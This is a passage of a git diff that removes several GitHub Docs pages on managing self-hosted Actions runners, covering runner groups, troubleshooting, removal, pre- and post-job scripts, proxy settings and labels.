-{% data reusables.actions.changing-the-name-of-a-runner-group %}
-
-{% ifversion ghes or ghec %}
-
-### Changing the name of an enterprise runner group
-
-{% data reusables.actions.runner-groups-enterprise-navigation %}
-{% data reusables.actions.changing-the-name-of-a-runner-group %}
-{% endif %}
-
-## Automatically adding a self-hosted runner to a group
-
-{% data reusables.actions.automatically-adding-a-runner-to-a-group %}
-
-
-
-## Moving a self-hosted runner to a group
-
-{% data reusables.actions.about-moving-a-runner-to-a-group %}
-{% ifversion ghes or ghec %}
-
-* [Moving an organization runner to a group](#moving-an-organization-runner-to-a-group)
-* [Moving an enterprise runner to a group](#moving-an-enterprise-runner-to-a-group)
-
-### Moving an organization runner to a group
-
-{% endif %}
-
-{% data reusables.organizations.navigate-to-org %}
-{% data reusables.organizations.org_settings %}
-{% data reusables.organizations.settings-sidebar-actions-runners %}
-{% data reusables.actions.moving-a-runner-to-a-group %}
-
-{% ifversion ghes or ghec %}
-
-### Moving an enterprise runner to a group
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.policies-tab %}
-{% data reusables.enterprise-accounts.actions-tab %}
-{% data reusables.enterprise-accounts.actions-runners-tab %}
-{% data reusables.actions.moving-a-runner-to-a-group %}
-{% endif %}
-
-## Removing a self-hosted runner group
-
-{% data reusables.actions.about-removing-a-runner-group %}
-{% ifversion ghes or ghec %}
-
-* [Removing a runner group from an organization](#removing-a-runner-group-from-an-organization)
-* [Removing a runner group from an enterprise](#removing-a-runner-group-from-an-enterprise)
-
-### Removing a runner group from an organization
-
-{% endif %}
-
-{% data reusables.actions.runner-groups-org-navigation %}
-{% data reusables.actions.removing-a-runner-group %}
-
-{% ifversion ghes or ghec %}
-
-### Removing a runner group from an enterprise
-
-{% data reusables.actions.runner-groups-enterprise-navigation %}
-{% data reusables.actions.removing-a-runner-group %}
-{% endif %}
-
-{% data reusables.actions.section-using-unique-names-for-runner-groups %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners.md
deleted file mode 100644
index 31f0ba680170..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners.md
+++ /dev/null
@@ -1,314 +0,0 @@
----
-title: Monitoring and troubleshooting self-hosted runners
-intro: You can monitor your self-hosted runners to view their activity and diagnose common issues.
-redirect_from:
- - /actions/hosting-your-own-runners/managing-self-hosted-runners/checking-the-status-of-self-hosted-runners
- - /github/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners
- - /actions/automating-your-workflow-with-github-actions/checking-the-status-of-self-hosted-runners
- - /actions/hosting-your-own-runners/checking-the-status-of-self-hosted-runners
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-defaultPlatform: linux
-shortTitle: Monitor & troubleshoot
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Using repository-level self-hosted runners
-
-You may not be able to create a self-hosted runner for an organization-owned repository.
-
-{% data reusables.actions.disable-selfhosted-runners-crossrefs %}
-
-## Checking the status of a self-hosted runner
-
-{% data reusables.actions.self-hosted-runner-management-permissions-required %}
-
-{% data reusables.actions.self-hosted-runner-navigate-repo-and-org %}
-{% data reusables.organizations.settings-sidebar-actions-runners %}
-
-1. Under "Runners", you can view a list of registered runners, including the runner's name, labels, and status.
-
- The status can be one of the following:
-
- * **Idle:** The runner is connected to {% data variables.product.github %} and is ready to execute jobs.
- * **Active:** The runner is currently executing a job.
- * **Offline:** The runner is not connected to {% data variables.product.github %}. This could be because the machine is offline, the self-hosted runner application is not running on the machine, or the self-hosted runner application cannot communicate with {% data variables.product.github %}.
-
-## Troubleshooting network connectivity
-
-### Checking self-hosted runner network connectivity
-
-You can use the self-hosted runner application's `config` script with the `--check` parameter to check that a self-hosted runner can access all required network services on {% data variables.product.github %}.
-
-In addition to `--check`, you must provide two arguments to the script:
-
-* `--url` with the URL to your {% data variables.product.company_short %} repository, organization, or enterprise. For example, `--url https://github.com/octo-org/octo-repo`.
-* `--pat` with the value of a {% data variables.product.pat_v1 %}, which must have the `workflow` scope, or a {% data variables.product.pat_v2 %} with workflows read and write access. For example, `--pat ghp_abcd1234`. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
-
-For example:
-
-{% mac %}
-
-{% data reusables.actions.self-hosted-runner-check-mac-linux %}
-
-{% endmac %}
-{% linux %}
-
-{% data reusables.actions.self-hosted-runner-check-mac-linux %}
-
-{% endlinux %}
-{% windows %}
-
-```powershell
-config.cmd --check --url https://github.com/YOUR-ORG/YOUR-REPO --pat GHP_ABCD1234
-```
-
-{% endwindows %}
-
-The script tests each service, and outputs either a `PASS` or `FAIL` for each one. If you have any failing checks, you can see more details on the problem in the log file for the check. The log files are located in the `_diag` directory where you installed the runner application, and the path of the log file for each check is shown in the console output of the script.
-
-If you have any failing checks, you should also verify that your self-hosted runner machine meets all the communication requirements. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#communication-requirements).
-
-### Disabling TLS certificate verification
-
-{% ifversion ghes %}
-By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.github %}. If {% data variables.location.product_location_enterprise %} has a self-signed or internally-issued certificate, you may wish to disable TLS certificate verification for testing purposes.
-{% else %}
-By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.github %}. If you encounter network problems, you may wish to disable TLS certificate verification for testing purposes.
-{% endif %}
-
-To disable TLS certification verification in the self-hosted runner application, set the `GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY` environment variable to `1` before configuring and running the self-hosted runner application.
-
-{% linux %}
-
-```shell
-export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1
-./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token
-./run.sh
-```
-
-{% endlinux %}
-{% mac %}
-
-```shell
-export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1
-./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token
-./run.sh
-```
-
-{% endmac %}
-{% windows %}
-
-```powershell
-[Environment]::SetEnvironmentVariable('GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY', '1')
-./config.cmd --url https://github.com/YOUR-ORG/YOUR-REPO --token
-./run.cmd
-```
-
-{% endwindows %}
-
-> [!WARNING]
-> Disabling TLS verification is not recommended since TLS provides privacy and data integrity between the self-hosted runner application and {% data variables.product.github %}. We recommend that you install the {% data variables.product.github %} certificate in the operating system certificate store for your self-hosted runner. For guidance on how to install the {% data variables.product.github %} certificate, check with your operating system vendor.
-
-## Reviewing the self-hosted runner application log files
-
-You can monitor the status of the self-hosted runner application and its activities. Log files are kept in the `_diag` directory where you installed the runner application, and a new log is generated each time the application is started. The filename begins with `Runner_`, and is followed by a UTC timestamp of when the application was started.
-
-> [!WARNING]
-> Runner application log files for ephemeral runners must be forwarded and preserved externally for troubleshooting and diagnostic purposes. For more information about ephemeral runners and autoscaling self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#using-ephemeral-runners-for-autoscaling).
-
-For detailed logs on workflow job executions, see the next section describing the `Worker_` files.
-
-## Reviewing a job's log file
-
-The self-hosted runner application creates a detailed log file for each job that it processes. These files are stored in the `_diag` directory where you installed the runner application, and the filename begins with `Worker_`.
-
-{% linux %}
-
-## Using journalctl to check the self-hosted runner application service
-
-For Linux-based self-hosted runners running the application using a service, you can use `journalctl` to monitor their real-time activity. The default systemd-based service uses the following naming convention: `actions.runner.-..service`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file. For example:
-
-```shell
-$ cat ~/actions-runner/.service
-actions.runner.octo-org-octo-repo.runner01.service
-```
-
-If this fails due to the service being installed elsewhere, you can find the service name in the list of running services. For example, on most Linux systems you can use the `systemctl` command:
-
-```shell
-$ systemctl --type=service | grep actions.runner
-actions.runner.octo-org-octo-repo.hostname.service loaded active running GitHub Actions Runner (octo-org-octo-repo.hostname)
-```
-
-You can use `journalctl` to monitor the real-time activity of the self-hosted runner:
-
-```shell
-sudo journalctl -u actions.runner.octo-org-octo-repo.runner01.service -f
-```
-
-In this example output, you can see `runner01` start, receive a job named `testAction`, and then display the resulting status:
-
-```shell
-Feb 11 14:57:07 runner01 runsvc.sh[962]: Starting Runner listener with startup type: service
-Feb 11 14:57:07 runner01 runsvc.sh[962]: Started listener process
-Feb 11 14:57:07 runner01 runsvc.sh[962]: Started running service
-Feb 11 14:57:16 runner01 runsvc.sh[962]: √ Connected to GitHub
-Feb 11 14:57:17 runner01 runsvc.sh[962]: 2020-02-11 14:57:17Z: Listening for Jobs
-Feb 11 16:06:54 runner01 runsvc.sh[962]: 2020-02-11 16:06:54Z: Running job: testAction
-Feb 11 16:07:10 runner01 runsvc.sh[962]: 2020-02-11 16:07:10Z: Job testAction completed with result: Succeeded
-```
-
-To view the `systemd` configuration, you can locate the service file here: `/etc/systemd/system/actions.runner.-..service`.
-If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service).
-
-{% endlinux %}
-
-{% mac %}
-
-## Using `launchd` to check the self-hosted runner application service
-
-For macOS-based self-hosted runners running the application as a service, you can use `launchctl` to monitor their real-time activity. The default launchd-based service uses the following naming convention: `actions.runner.-.`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file in the runner directory:
-
-```shell
-% cat ~/actions-runner/.service
-/Users/exampleUsername/Library/LaunchAgents/actions.runner.octo-org-octo-repo.runner01.plist
-```
-
-The `svc.sh` script uses `launchctl` to check whether the application is running. For example:
-
-```shell
-$ ./svc.sh status
-status actions.runner.example.runner01:
-/Users/exampleUsername/Library/LaunchAgents/actions.runner.example.runner01.plist
-Started:
-379 0 actions.runner.example.runner01
-```
-
-The resulting output includes the process ID and the name of the application’s `launchd` service.
-
-To view the `launchd` configuration, you can locate the service file here: `/Users/exampleUsername/Library/LaunchAgents/actions.runner...service`.
-If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1).
-
-{% endmac %}
-
-{% windows %}
-
-## Using PowerShell to check the self-hosted runner application service
-
-For Windows-based self-hosted runners running the application as a service, you can use PowerShell to monitor their real-time activity. The service uses the naming convention `GitHub Actions Runner (-.)`. You can also find the service's name by checking the _.service_ file in the runner directory:
-
-```powershell
-PS C:\actions-runner> Get-Content .service
-actions.runner.octo-org-octo-repo.runner01.service
-```
-
-You can view the status of the runner in the Windows _Services_ application (`services.msc`). You can also use PowerShell to check whether the service is running:
-
-```powershell
-PS C:\actions-runner> Get-Service "actions.runner.octo-org-octo-repo.runner01.service" | Select-Object Name, Status
-Name Status
----- ------
-actions.runner.octo-org-octo-repo.runner01.service Running
-```
-
-You can use PowerShell to check the recent activity of the self-hosted runner. In this example output, you can see the application start, receive a job named `testAction`, and then display the resulting status:
-
-```powershell
-PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerService
-
- Index Time EntryType Source InstanceID Message
- ----- ---- --------- ------ ---------- -------
- 136 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:48Z: Job Greeting completed with result: Succeeded
- 135 Mar 17 13:45 Information ActionsRunnerService 100 2020-03-17 13:45:34Z: Running job: testAction
- 134 Mar 17 13:41 Information ActionsRunnerService 100 2020-03-17 13:41:54Z: Listening for Jobs
- 133 Mar 17 13:41 Information ActionsRunnerService 100 û Connected to GitHub
- 132 Mar 17 13:41 Information ActionsRunnerService 0 Service started successfully.
- 131 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner listener
- 130 Mar 17 13:41 Information ActionsRunnerService 100 Starting Actions Runner Service
- 129 Mar 17 13:41 Information ActionsRunnerService 100 create event log trace source for actions-runner service
-```
-
-{% endwindows %}
-
-## Monitoring the automatic update process
-
-We recommend that you regularly check the automatic update process, as the self-hosted runner will not be able to process jobs if it falls below a certain version threshold. The self-hosted runner application automatically updates itself, but note that this process does not include any updates to the operating system or other software; you will need to separately manage these updates.
-
-You can view the update activities in the `Runner_` log files. For example:
-
-```shell
-[Feb 12 12:37:07 INFO SelfUpdater] An update is available.
-```
-
-In addition, you can find more information in the _SelfUpdate_ log files located in the `_diag` directory where you installed the runner application.
-
-{% linux %}
-
-## Troubleshooting containers in self-hosted runners
-
-### Checking that Docker is installed
-
-If your jobs require containers, then the self-hosted runner must be Linux-based and needs to have Docker installed. Check that your self-hosted runner has Docker installed and that the service is running.
-
-You can use `systemctl` to check the service status:
-
-```shell
-$ sudo systemctl is-active docker.service
-active
-```
-
-If Docker is not installed, then dependent actions will fail with the following errors:
-
-```shell
-[2020-02-13 16:56:10Z INFO DockerCommandManager] Which: 'docker'
-[2020-02-13 16:56:10Z INFO DockerCommandManager] Not found.
-[2020-02-13 16:56:10Z ERR StepsRunner] Caught exception from step: System.IO.FileNotFoundException: File not found: 'docker'
-```
-
-### Checking the Docker permissions
-
-If your job fails with the following error:
-
-```shell
-dial unix /var/run/docker.sock: connect: permission denied
-```
-
-Check that the self-hosted runner's service account has permission to use the Docker service. You can identify this account by checking the configuration of the self-hosted runner in `systemd`. For example:
-
-```shell
-$ sudo systemctl show -p User actions.runner.octo-org-octo-repo.runner01.service
-User=runner-user
-```
-
-{% endlinux %}
-
-{% ifversion ghes %}
-
-## Resolving runners that are offline after an upgrade of {% data variables.product.prodname_ghe_server %}
-
-{% data reusables.actions.upgrade-runners-before-upgrade-ghes %}
-
-If your runners are offline for this reason, manually update the runners. For more information, see the installation instructions for [the latest release](https://github.com/actions/runner/releases/latest) in the actions/runner repository.
-{% endif %}
-
-### Checking which Docker engine is installed on the runner
-
-If your build fails with the following error:
-
-```shell
-Error: Input required and not supplied: java-version
-```
-
-Check which Docker engine is installed on your self-hosted runner. To pass the inputs of an action into the Docker container, the runner uses environment variables that might contain dashes as part of their names. The action may not be able to get the inputs if the Docker engine is not a binary executable, but is instead a shell wrapper or a link (for example, a Docker engine installed on Linux using `snap`). To address this error, configure your self-hosted runner to use a different Docker engine.
-
-To check if your Docker engine was installed using `snap`, use the `which` command. In the following example, the Docker engine was installed using `snap`:
-
-```shell
-$ which docker
-/snap/bin/docker
-```
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners.md
deleted file mode 100644
index cb1f3454ceef..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners.md
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Removing self-hosted runners
-intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes %}, an organization, or an enterprise{% endif %}.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners
- - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners
- - /actions/hosting-your-own-runners/removing-self-hosted-runners
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-shortTitle: Remove self-hosted runners
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Removing a runner from a repository
-
-> [!NOTE]
-> * {% data reusables.actions.self-hosted-runner-removal-impact %}
-> * {% data reusables.actions.self-hosted-runner-auto-removal %}
-> * {% data reusables.actions.jit-runner-removal %}
-
-To remove a self-hosted runner from a user repository you must be the repository owner. Organization owners{% ifversion custom-org-roles %} and users with the "Manage organization runners and runner groups" permission{% endif %} can remove a runner from a repository in the organization. {% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %}
-
-We recommend that you also have access to the self-hosted runner machine.
-
-For information about how to remove a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners).
-
-{% data reusables.actions.self-hosted-runner-reusing %}
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.repositories.settings-sidebar-actions-runners %}
-{% data reusables.actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %}
-
-## Removing a runner from an organization
-
-> [!NOTE]
-> * {% data reusables.actions.self-hosted-runner-removal-impact %}
-> * {% data reusables.actions.self-hosted-runner-auto-removal %}
-> * {% data reusables.actions.jit-runner-removal %}
-
-To remove a self-hosted runner from an organization, you must be an organization owner{% ifversion custom-org-roles %} or have the "Manage organization runners and runner groups" permission{% endif %}. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners).
-
-{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %}
-
-{% data reusables.actions.self-hosted-runner-reusing %}
-{% data reusables.organizations.navigate-to-org %}
-{% data reusables.organizations.org_settings %}
-{% data reusables.organizations.settings-sidebar-actions-runners %}
-{% data reusables.actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %}
-
-## Removing a runner from an enterprise
-
-{% ifversion fpt %}
-If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
-{% endif %}
-{% ifversion ghec or ghes %}
-
-> [!NOTE]
-> * {% data reusables.actions.self-hosted-runner-removal-impact %}
-> * {% data reusables.actions.self-hosted-runner-auto-removal %}
-> * {% data reusables.actions.jit-runner-removal %}
-
-To remove a self-hosted runner from an enterprise, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/actions/self-hosted-runners).
-
-{% data reusables.actions.self-hosted-runner-reusing %}
-{% ifversion ghec or ghes %}
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.policies-tab %}
-{% data reusables.enterprise-accounts.actions-tab %}
-{% data reusables.enterprise-accounts.actions-runners-tab %}
-{% data reusables.actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %}
-{% endif %}
-{% endif %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/running-scripts-before-or-after-a-job.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/running-scripts-before-or-after-a-job.md
deleted file mode 100644
index e618650a7815..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/running-scripts-before-or-after-a-job.md
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Running scripts before or after a job
-intro: 'Scripts can automatically execute on a self-hosted runner, directly before or after a job.'
-redirect_from:
- - /actions/hosting-your-own-runners/running-scripts-before-or-after-a-job
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-shortTitle: Run a script before or after a job
----
-
-## About pre- and post-job scripts
-
-You can automatically execute scripts on a self-hosted runner, either before a job runs, or after a job finishes running. You could use these scripts to support the job's requirements, such as building or tearing down a runner environment, or cleaning out directories. You could also use these scripts to track telemetry of how your runners are used.
-
-The custom scripts are automatically triggered when a specific environment variable is set on the runner; the environment variable must contain the absolute path to the script. For more information, see [Triggering the scripts](#triggering-the-scripts) below.
-
-The following scripting languages are supported:
-
-* **Bash:** Uses `bash` and can fallback to `sh`. Executes by running `-e {pathtofile}`.
-* **PowerShell:** Uses `pwsh` and can fallback to `powershell`. Executes by running `-command \". '{pathtofile}'\"`.
-
-## Writing the scripts
-
-Your custom scripts can use the following features:
-
-* **Variables:** Scripts have access to the default variables. The full webhook event payload can be found in `GITHUB_EVENT_PATH`. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables).
-* **Workflow commands:** Scripts can use workflow commands. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions). Scripts can also use environment files. For more information, see [Environment files](/actions/using-workflows/workflow-commands-for-github-actions#environment-files).
-
-Your script files must use a file extension for the relevant language, such as `.sh` or `.ps1`, in order to run successfully.
-
-> [!NOTE]
-> Avoid using your scripts to output sensitive information to the console, as anyone with read access to the repository might be able to see the output in the UI logs.
-
-### Handling exit codes
-
-For pre-job scripts, exit code `0` indicates that the script completed successfully, and the job will then proceed to run. If there is any other exit code, the job will not run and will be marked as failed. To see the results of your pre-job scripts, check the logs for `Set up runner` entries. For more information on checking the logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures).
-
-The [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) setting is not supported for use by these scripts.
-
-## Triggering the scripts
-
-The custom scripts must be located on the runner, but should not be stored in the `actions-runner` application directory. The scripts are executed in the security context of the service account that's running the runner service.
-
-> [!NOTE]
-> The triggered scripts are processed synchronously, so they will block job execution while they are running.
-
-The scripts are automatically executed when the runner has the following environment variables containing an absolute path to the script:
-* `ACTIONS_RUNNER_HOOK_JOB_STARTED`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running.
-* `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`: The script defined in this environment variable is triggered at the end of the job, after all the steps defined in the workflow have run.
-
-To set these environment variables, you can either add them to the operating system, or add them to a file named `.env` within the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). Note that any change to the `.env` file will require restarting the runner.
-For example, the following `.env` entry will have the runner automatically run a script, saved as `/opt/runner/cleanup_script.sh` on the runner machine, before each job runs:
-
-```bash
-ACTIONS_RUNNER_HOOK_JOB_STARTED=/opt/runner/cleanup_script.sh
-```
-
-> [!NOTE]
-> The script defined in `ACTIONS_RUNNER_HOOK_JOB_COMPLETED` is executed at the end of the job, before the job completes. This makes it unsuitable for use cases that may interrupt a runner, such as deleting the runner machine as part of an autoscaling implementation.
-
-## Troubleshooting
-
-### Permission denied
-
-If you get a "permission denied" error when you attempt to run a script, make sure that the script is executable. For example, in a terminal on Linux or macOS you can use the following command to make a file executable.
-
-```bash
-chmod +x PATH/TO/FILE
-```
-
-For information about using workflows to run scripts, see [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/adding-scripts-to-your-workflow).
-
-### No timeout setting
-
-There is currently no timeout setting available for scripts executed by `ACTIONS_RUNNER_HOOK_JOB_STARTED` or `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`. As a result, you could consider adding timeout handling to your script.
-
-### Reviewing the workflow run log
-
-To confirm whether your scripts are executing, you can review the logs for that job. The scripts will be listed within separate steps for either `Set up runner` or `Complete runner`, depending on which environment variable is triggering the script. For more information on checking the logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures).
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners.md
deleted file mode 100644
index 0293bc05fb15..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: Using a proxy server with self-hosted runners
-intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.github %}.'
-redirect_from:
- - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners
- - /actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-shortTitle: Proxy servers
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Configuring a proxy server using environment variables
-
-If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables:
-
-* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example:
- * `http://proxy.local`
- * `http://192.168.1.1:8080`
- * `http://username:password@proxy.local`
-* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example:
- * `http://proxy.local`
- * `http://192.168.1.1:8080`
- * `http://username:password@proxy.local`
-* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example:
- * `example.com`
- * `example.com,myserver.local:443,example.org`
-
-The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application.
-
-{% data reusables.actions.environment-variables-as-case-sensitive %}
-
-On Windows machines, the proxy environment variable names are case insensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable.
-
-{% data reusables.actions.self-hosted-runner-ports-protocols %}
-
-## Using a .env file to set the proxy configuration
-
-If setting environment variables is not practical, you can set the proxy configuration variables in a file named `.env` in the self-hosted runner application directory (that is, the directory into which you downloaded and unpacked the runner software). For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in `.env` for the proxy configuration.
-
-### Example `.env` proxy configuration
-
-```shell
-https_proxy=http://proxy.local:8080
-no_proxy=example.com,myserver.local:443
-```
-
-## Setting proxy configuration for Docker containers
-
-If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables.
-
-For information on the required Docker configuration, see [Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/) in the Docker documentation.
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners.md
deleted file mode 100644
index ef75817a61c0..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners.md
+++ /dev/null
@@ -1,143 +0,0 @@
----
-title: Using labels with self-hosted runners
-intro: You can use labels to organize your self-hosted runners based on their characteristics.
-redirect_from:
- - /actions/hosting-your-own-runners/using-labels-with-self-hosted-runners
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-shortTitle: Label runners
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-For information on how to use labels to route jobs to specific types of self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow). You can also route jobs to runners in a specific group. For more information, see [AUTOTITLE](/actions/using-jobs/choosing-the-runner-for-a-job#targeting-runners-in-a-group).
-
-{% data reusables.actions.self-hosted-runner-management-permissions-required %}
-
-> [!NOTE]
-> Actions Runner Controller does not support multiple labels, to find out more please read our [Actions Runner Controller documentation](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller#using-arc-runners-in-a-workflow)
-
-## Creating a custom label
-
-You can create custom labels for runners at the repository{% ifversion ghec or ghes %}, organization, and enterprise{% else %} and organization{% endif %} levels.
-
-* [Creating a custom label for a repository runner](#creating-a-custom-label-for-a-repository-runner)
-* [Creating a custom label for an organization runner](#creating-a-custom-label-for-an-organization-runner){% ifversion ghec or ghes %}
-* [Creating a custom label for an enterprise runner](#creating-a-custom-label-for-an-enterprise-runner){% endif %}
-
-> [!NOTE]
-> Labels are case-insensitive.
-
-### Creating a custom label for a repository runner
-
-{% data reusables.actions.self-hosted-runner-navigate-to-repo %}
-{% data reusables.actions.self-hosted-runners-create-label-steps %}
-
-### Creating a custom label for an organization runner
-
-{% data reusables.actions.self-hosted-runner-navigate-to-org %}
-{% data reusables.actions.self-hosted-runners-create-label-steps %}
-
-{% ifversion ghec or ghes %}
-
-### Creating a custom label for an enterprise runner
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.policies-tab %}
-{% data reusables.enterprise-accounts.actions-tab %}
-{% data reusables.enterprise-accounts.actions-runners-tab %}
-{% data reusables.actions.self-hosted-runners-create-label-steps %}
-
-{% endif %}
-
-## Assigning a label to a self-hosted runner
-
-You can assign labels to self-hosted runners at the repository{% ifversion ghec or ghes %}, organization, and enterprise{% else %} and organization{% endif %} levels.
-
-* [Assigning a label to a repository runner](#assigning-a-label-to-a-repository-runner)
-* [Assigning a label to an organization runner](#assigning-a-label-to-an-organization-runner){% ifversion ghec or ghes %}
-* [Assigning a label to an enterprise runner](#assigning-a-label-to-an-enterprise-runner){% endif %}
-
-### Assigning a label to a repository runner
-
-{% data reusables.actions.self-hosted-runner-navigate-to-repo %}
-{% data reusables.actions.self-hosted-runner-assign-label-steps %}
-
-### Assigning a label to an organization runner
-
-{% data reusables.actions.self-hosted-runner-navigate-to-org %}
-{% data reusables.actions.self-hosted-runner-assign-label-steps %}
-
-{% ifversion ghec or ghes %}
-
-### Assigning a label to an enterprise runner
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.policies-tab %}
-{% data reusables.enterprise-accounts.actions-tab %}
